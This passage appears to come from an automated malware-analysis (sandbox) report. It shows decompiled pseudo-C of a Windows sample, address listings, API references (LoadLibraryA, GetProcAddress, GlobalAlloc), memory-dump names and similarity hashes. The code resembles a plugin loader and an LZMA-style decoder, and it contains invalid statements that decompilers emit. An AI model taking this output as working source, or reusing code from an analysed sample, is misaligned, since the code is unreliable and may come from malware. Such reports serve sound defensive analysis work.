									__eflags = _t228 - _t282;
									if(_t228 != _t282) {
										L166:
										 *(_t329 + 0x80c) = _t228;
										goto L182;
									}
									__eflags =  *(_t329 + 0x80c) - _t282;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t205 = _t329 + 4;
									 *_t205 =  *(_t329 + 4) | 0xffffffff;
									__eflags =  *_t205;
									goto L182;
								} else {
									__eflags =  *(_t329 + 0x80c) - _t282;
									if( *(_t329 + 0x80c) != _t282) {
										goto L182;
									}
									goto L178;
								}
							}
							_t233 = LoadLibraryA(_t323);
							__eflags = _t233 - _t282;
							 *(_t329 + 0x808) = _t233;
							if(_t233 == _t282) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t329 + 0x408; // 0x408
						_t235 = E6FC612FE(_t188);
						 *(_t329 + 0x80c) = _t235;
						__eflags = _t235 - _t282;
						goto L180;
					}
					_t236 = _t224 - 1;
					if(_t236 == 0) {
						_t185 = _t329 + 0x408; // 0x408
						_t237 = _t185;
						__eflags =  *_t237;
						if( *_t237 == 0) {
							goto L182;
						}
						_t228 = E6FC612FE(_t237);
						L165:
						goto L166;
					}
					if(_t236 != 1) {
						goto L182;
					}
					_t81 = _t329 + 8; // 0x8
					_t283 = _t81;
					_t325 = E6FC612FE(_t81);
					 *(_t329 + 0x808) = _t325;
					if(_t325 == 0) {
						goto L181;
					}
					 *(_t329 + 0x84c) =  *(_t329 + 0x84c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x850)) = E6FC61224(_t283);
					 *(_t329 + 0x83c) =  *(_t329 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x848)) = 1;
					 *((intOrPtr*)(_t329 + 0x838)) = 1;
					_t90 = _t329 + 0x408; // 0x408
					_t228 =  *(_t325->i + E6FC612FE(_t90) * 4);
					goto L165;
				}
			}

0x6fc61aa0
0x6fc61aa3
0x6fc61aa6
0x6fc61aa9
0x6fc61aac
0x6fc61aaf
0x6fc61ab2
0x6fc61ab4
0x6fc61ab7
0x6fc61aba
0x6fc61abf
0x6fc61ac2
0x6fc61aca
0x6fc61ad2
0x6fc61ad4
0x6fc61ad7
0x6fc61adf
0x6fc61adf
0x6fc61ae4
0x6fc61ae7
0x00000000
0x00000000
0x6fc61af1
0x6fc61af3
0x6fc61af8
0x6fc61afa
0x6fc61b8b
0x6fc61b8b
0x6fc61b8b
0x6fc61b8f
0x6fc61b92
0x6fc61b94
0x6fc61bb6
0x6fc61bb9
0x6fc61bbb
0x6fc61bc4
0x6fc61bca
0x6fc61bcc
0x6fc61bd2
0x6fc61bd2
0x6fc61bd8
0x6fc61bdb
0x6fc61bdb
0x6fc61bde
0x6fc61bde
0x6fc61be4
0x6fc61be6
0x6fc61be9
0x6fc61bef
0x6fc61bf2
0x6fc61bf2
0x6fc61bf4
0x6fc61bfa
0x6fc61bfd
0x6fc61c21
0x6fc61c24
0x00000000
0x00000000
0x6fc61c27
0x6fc61c29
0x6fc61c37
0x6fc61c3a
0x6fc61c3c
0x00000000
0x00000000
0x00000000
0x00000000
0x6fc61c3e
0x6fc61c3e
0x6fc61c3e
0x6fc61c44
0x6fc61c46
0x00000000
0x00000000
0x6fc61c48
0x6fc61c4a
0x6fc61c4c
0x6fc61c4e
0x00000000
0x00000000
0x00000000
0x6fc61c4e
0x6fc61c50
0x6fc61c52
0x6fc61c54
0x6fc61c54
0x6fc61c5a
0x6fc61c60
0x6fc61c62
0x6fc61c76
0x6fc61c76
0x6fc61c78
0x6fc61c64
0x6fc61c6a
0x6fc61c6d
0x6fc61c6d
0x00000000
0x6fc61bff
0x6fc61bff
0x6fc61bff
0x6fc61c00
0x6fc61c08
0x6fc61c0c
0x6fc61c12
0x6fc61c16
0x00000000
0x6fc61c16
0x6fc61c02
0x6fc61c02
0x6fc61c03
0x00000000
0x00000000
0x6fc61c05
0x6fc61c06
0x00000000
0x00000000
0x00000000
0x6fc61c06
0x6fc61b96
0x6fc61b97
0x6fc61ba0
0x6fc61ba3
0x6fc61bb0
0x6fc61bb0
0x6fc61ba5
0x6fc61ba5
0x6fc61c7e
0x6fc61c81
0x6fc61c84
0x6fc61cf6
0x6fc61cfa
0x6fc61adc
0x00000000
0x6fc61adc
0x00000000
0x6fc61cfa
0x6fc61b94
0x6fc61b00
0x6fc61b03
0x6fc61b66
0x6fc61b69
0x6fc61b7a
0x6fc61b7a
0x6fc61b7d
0x6fc61c89
0x6fc61c8c
0x6fc61c8c
0x6fc61c8e
0x6fc62033
0x6fc62045
0x6fc62045
0x6fc62047
0x00000000
0x00000000
0x6fc62037
0x6fc62038
0x6fc6203b
0x6fc6203e
0x6fc620ba
0x6fc620c1
0x6fc620c6
0x6fc620c9
0x6fc61cf2
0x6fc61cf2
0x6fc61cf2
0x6fc61cf3
0x00000000
0x6fc61cf3
0x6fc62040
0x6fc62042
0x6fc62042
0x6fc62049
0x6fc6204b
0x6fc620ae
0x6fc61ce7
0x6fc61cea
0x6fc61ced
0x6fc61cf0
0x6fc61cf0
0x00000000
0x6fc61cf0
0x6fc6204d
0x6fc6204f
0x6fc62055
0x6fc62055
0x6fc62057
0x6fc6205a
0x6fc6206d
0x6fc6206d
0x6fc62070
0x6fc62073
0x00000000
0x00000000
0x6fc62075
0x6fc62078
0x00000000
0x00000000
0x6fc6207a
0x6fc62081
0x6fc62081
0x6fc62087
0x6fc6208a
0x6fc620a6
0x6fc6208c
0x6fc62095
0x6fc62098
0x6fc62098
0x00000000
0x6fc6208a
0x6fc6205c
0x6fc6205f
0x6fc62062
0x00000000
0x00000000
0x6fc62064
0x00000000
0x6fc62064
0x6fc62051
0x6fc62053
0x00000000
0x00000000
0x00000000
0x6fc62053
0x6fc61c94
0x6fc61c94
0x6fc61c95
0x6fc61dde
0x6fc61dde
0x6fc61de5
0x6fc61de8
0x00000000
0x00000000
0x6fc61df5
0x00000000
0x6fc61fdb
0x6fc61fde
0x6fc61fe1
0x6fc61fe1
0x6fc61fe2
0x6fc61fe5
0x6fc61fe7
0x6fc61fe9
0x00000000
0x00000000
0x6fc61feb
0x6fc61feb
0x6fc61fee
0x6fc62000
0x6fc62003
0x6fc62006
0x6fc6200c
0x00000000
0x6fc6200c
0x6fc61ff0
0x6fc61ff0
0x6fc61ff2
0x00000000
0x00000000
0x6fc61ff4
0x6fc61ff6
0x6fc61ff8
0x6fc61ff8
0x6fc61ff8
0x6fc61ff9
0x6fc61ffb
0x6fc61ffd
0x6fc61fe1
0x6fc61fe2
0x6fc61fe5
0x6fc61fe7
0x6fc61fe9
0x00000000
0x00000000
0x00000000
0x6fc61fe9
0x00000000
0x6fc61e3c
0x00000000
0x00000000
0x6fc61e48
0x00000000
0x00000000
0x6fc61e2f
0x6fc61e33
0x6fc61e37
0x00000000
0x00000000
0x6fc61fad
0x6fc61fb1
0x00000000
0x00000000
0x6fc61fb7
0x6fc61fbf
0x6fc61fc6
0x6fc61fce
0x00000000
0x00000000
0x6fc61f15
0x6fc61f15
0x00000000
0x00000000
0x6fc61e51
0x00000000
0x00000000
0x6fc6202b
0x00000000
0x00000000
0x6fc61f1d
0x6fc61f1f
0x6fc61f1f
0x00000000
0x00000000
0x6fc6201b
0x00000000
0x00000000
0x6fc6201f
0x00000000
0x00000000
0x6fc62027
0x00000000
0x00000000
0x6fc61f64
0x6fc61f66
0x6fc61f66
0x00000000
0x00000000
0x6fc61f2f
0x6fc61f31
0x6fc61f31
0x00000000
0x00000000
0x6fc61f41
0x6fc61f43
0x6fc61f43
0x00000000
0x00000000
0x6fc61f72
0x6fc61f74
0x6fc61f74
0x00000000
0x00000000
0x6fc61f4c
0x6fc61f4e
0x6fc61f4e
0x00000000
0x00000000
0x6fc61f53
0x00000000
0x00000000
0x6fc62023
0x6fc6202d
0x6fc6202d
0x00000000
0x00000000
0x6fc61f7d
0x6fc61f81
0x6fc61f86
0x6fc61f89
0x6fc61f8a
0x6fc61f8d
0x6fc61f93
0x6fc61f93
0x00000000
0x00000000
0x6fc62013
0x00000000
0x00000000
0x6fc61f57
0x6fc61f57
0x00000000
0x00000000
0x6fc61e58
0x6fc61e58
0x00000000
0x00000000
0x6fc61f6b
0x6fc61f6d
0x6fc61f6d
0x00000000
0x00000000
0x6fc61dfc
0x6fc61e02
0x6fc61e05
0x6fc61e07
0x6fc61e07
0x6fc61e0a
0x6fc61e0e
0x6fc61e1b
0x6fc61e1d
0x6fc61e23
0x6fc61e23
0x6fc61e23
0x00000000
0x00000000
0x6fc61f20
0x6fc61f20
0x6fc61f22
0x6fc61f29
0x00000000
0x00000000
0x6fc61f67
0x6fc61f67
0x00000000
0x00000000
0x6fc61f32
0x6fc61f32
0x6fc61f34
0x6fc61f3b
0x00000000
0x00000000
0x6fc61f44
0x6fc61f44
0x6fc61f46
0x00000000
0x00000000
0x6fc61f75
0x6fc61f75
0x00000000
0x00000000
0x6fc61f4f
0x6fc61f4f
0x00000000
0x00000000
0x6fc61f9b
0x6fc61f9f
0x6fc61fa4
0x6fc61fa7
0x00000000
0x00000000
0x6fc61f59
0x6fc61f59
0x6fc61f5c
0x6fc61f5e
0x00000000
0x00000000
0x6fc61f6e
0x6fc61f6e
0x6fc61f77
0x6fc61f77
0x6fc61e5a
0x6fc61e5a
0x6fc61e5d
0x6fc61e64
0x6fc61e66
0x6fc61e68
0x6fc61e6f
0x6fc61e72
0x6fc61e77
0x6fc61e79
0x6fc61e7b
0x6fc61e7f
0x6fc61e85
0x6fc61e8b
0x6fc61e8b
0x6fc61e8d
0x6fc61e8d
0x6fc61e8e
0x6fc61e8e
0x6fc61e92
0x6fc61e98
0x6fc61e9a
0x6fc61e9e
0x6fc61ea3
0x6fc61ea3
0x6fc61ea5
0x6fc61ea5
0x6fc61ea8
0x6fc61eab
0x6fc61eb4
0x6fc61eb7
0x6fc61eba
0x6fc61eba
0x6fc61ebc
0x6fc61ebf
0x6fc61ec5
0x6fc61ecb
0x6fc61ecb
0x6fc61ecd
0x00000000
0x00000000
0x6fc61ed3
0x6fc61ed3
0x6fc61ed7
0x6fc61ede
0x6fc61f02
0x6fc61f02
0x6fc61f06
0x6fc61f08
0x6fc61f0b
0x6fc61f0b
0x6fc61f0e
0x6fc61f0e
0x00000000
0x6fc61f06
0x6fc61ee3
0x6fc61ee6
0x6fc61ee6
0x6fc61eed
0x6fc61eef
0x6fc61ef2
0x6fc61ef9
0x6fc61efa
0x6fc61f00
0x6fc61f00
0x00000000
0x6fc61f00
0x6fc61ef4
0x6fc61ef7
0x00000000
0x00000000
0x00000000
0x6fc61ef7
0x6fc61e87
0x6fc61e89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6fc61df5
0x6fc61c9b
0x6fc61c9b
0x6fc61c9c
0x6fc61ddb
0x00000000
0x6fc61ddb
0x6fc61ca2
0x6fc61ca3
0x00000000
0x00000000
0x6fc61ca9
0x6fc61cac
0x6fc61da0
0x6fc61da0
0x6fc61da3
0x6fc61db8
0x6fc61dba
0x6fc61dba
0x6fc61dbb
0x6fc61dbe
0x6fc61dc1
0x6fc61dcd
0x6fc61dcd
0x6fc61dcd
0x6fc61dc3
0x6fc61dc3
0x6fc61dc3
0x6fc61dd3
0x00000000
0x6fc61dd3
0x6fc61da5
0x6fc61da5
0x6fc61da6
0x6fc61db4
0x00000000
0x6fc61db4
0x6fc61da9
0x6fc61daa
0x00000000
0x00000000
0x6fc61db0
0x00000000
0x6fc61db0
0x6fc61cb2
0x6fc61d9c
0x00000000
0x6fc61d9c
0x6fc61cb8
0x6fc61cb8
0x6fc61cbb
0x6fc61ce4
0x00000000
0x6fc61ce4
0x6fc61cbd
0x6fc61cbd
0x6fc61cc0
0x6fc61cda
0x00000000
0x6fc61cda
0x6fc61cc2
0x6fc61cc2
0x6fc61cc5
0x6fc61cd4
0x00000000
0x6fc61cd4
0x6fc61cc8
0x6fc61cc9
0x00000000
0x00000000
0x6fc61ccb
0x00000000
0x6fc61b83
0x6fc61b83
0x6fc61b86
0x00000000
0x6fc61b86
0x6fc61b7d
0x6fc61b6b
0x6fc61b6f
0x00000000
0x00000000
0x6fc61b71
0x6fc61b74
0x00000000
0x00000000
0x00000000
0x6fc61b74
0x6fc61b05
0x6fc61b08
0x6fc61b3e
0x6fc61b41
0x00000000
0x6fc61b47
0x6fc61b49
0x6fc61b4d
0x6fc61b54
0x6fc61b5b
0x6fc61b5e
0x6fc61b61
0x00000000
0x6fc61b61
0x6fc61b41
0x6fc61b0a
0x6fc61b0b
0x6fc61b26
0x6fc61b29
0x00000000
0x6fc61b2f
0x6fc61b2f
0x6fc61b36
0x6fc61b39
0x00000000
0x6fc61b39
0x6fc61b29
0x6fc61b10
0x00000000
0x6fc61b16
0x6fc61b16
0x6fc61b1d
0x00000000
0x6fc61b1d
0x6fc61b10
0x6fc61d09
0x6fc61d0e
0x6fc61d13
0x6fc61d17
0x6fc621c6
0x6fc621cc
0x6fc61d29
0x6fc61d2b
0x6fc61d2c
0x6fc620f1
0x6fc620f1
0x6fc620f4
0x6fc620f7
0x6fc62114
0x6fc6211a
0x6fc6211c
0x6fc62122
0x6fc62139
0x6fc62139
0x6fc62139
0x6fc62146
0x6fc6214c
0x6fc6214f
0x6fc62155
0x6fc62157
0x6fc6215a
0x6fc6215c
0x6fc62163
0x6fc62168
0x6fc6216b
0x6fc6216d
0x6fc62172
0x6fc62184
0x6fc62184
0x6fc62172
0x6fc6216b
0x6fc6215a
0x6fc6218a
0x6fc6218d
0x6fc62197
0x6fc6219f
0x6fc621ab
0x6fc621b1
0x6fc621b4
0x6fc620e6
0x6fc620e6
0x00000000
0x6fc620e6
0x6fc621ba
0x6fc621c0
0x6fc621c0
0x00000000
0x00000000
0x6fc621c2
0x6fc621c2
0x6fc621c2
0x6fc621c2
0x00000000
0x6fc6218f
0x6fc6218f
0x6fc62195
0x00000000
0x00000000
0x00000000
0x6fc62195
0x6fc6218d
0x6fc62125
0x6fc6212b
0x6fc6212d
0x6fc62133
0x00000000
0x00000000
0x00000000
0x6fc62133
0x6fc620f9
0x6fc62100
0x6fc62106
0x6fc6210c
0x00000000
0x6fc6210c
0x6fc61d32
0x6fc61d33
0x6fc620d0
0x6fc620d0
0x6fc620d6
0x6fc620d9
0x00000000
0x00000000
0x6fc620e0
0x6fc620e5
0x00000000
0x6fc620e5
0x6fc61d3a
0x00000000
0x00000000
0x6fc61d40
0x6fc61d40
0x6fc61d49
0x6fc61d4e
0x6fc61d54
0x00000000
0x00000000
0x6fc61d5a
0x6fc61d67
0x6fc61d6d
0x6fc61d77
0x6fc61d7d
0x6fc61d85
0x6fc61d95
0x00000000
0x6fc61d95

APIs

Part of subcall function 6FC61215: GlobalAlloc.KERNELBASE(00000040,6FC61233,?,6FC612CF,-6FC6404B,6FC611AB,-000000A0), ref: 6FC6121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 6FC61BC4
lstrcpyA.KERNEL32(00000008,?), ref: 6FC61C0C
lstrcpyA.KERNEL32(00000408,?), ref: 6FC61C16
GlobalFree.KERNEL32 ref: 6FC61C29
GlobalFree.KERNEL32 ref: 6FC61D09
GlobalFree.KERNEL32 ref: 6FC61D0E
GlobalFree.KERNEL32 ref: 6FC61D13
GlobalFree.KERNEL32 ref: 6FC61EFA
lstrcpyA.KERNEL32(?,?), ref: 6FC62098
GetModuleHandleA.KERNEL32(00000008), ref: 6FC62114
LoadLibraryA.KERNEL32(00000008), ref: 6FC62125
GetProcAddress.KERNEL32(?,?), ref: 6FC6217E
lstrlenA.KERNEL32(00000408), ref: 6FC62198

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 87d5c2e29be118a8705b988ab2eef51ca6d8c680dd04181155eb2efb6614b0dd
Instruction ID: 3e1bcff87acd995eb19c6ef9aa1ea14d9e48ae70efda9315ee843f1334e6a973
Opcode Fuzzy Hash: 87d5c2e29be118a8705b988ab2eef51ca6d8c680dd04181155eb2efb6614b0dd
Instruction Fuzzy Hash: A1229C71D4C64A9EDB108FBD85D07EDBBF0FF06716F20862AD1A1E6280E7746A45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00405FA8() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
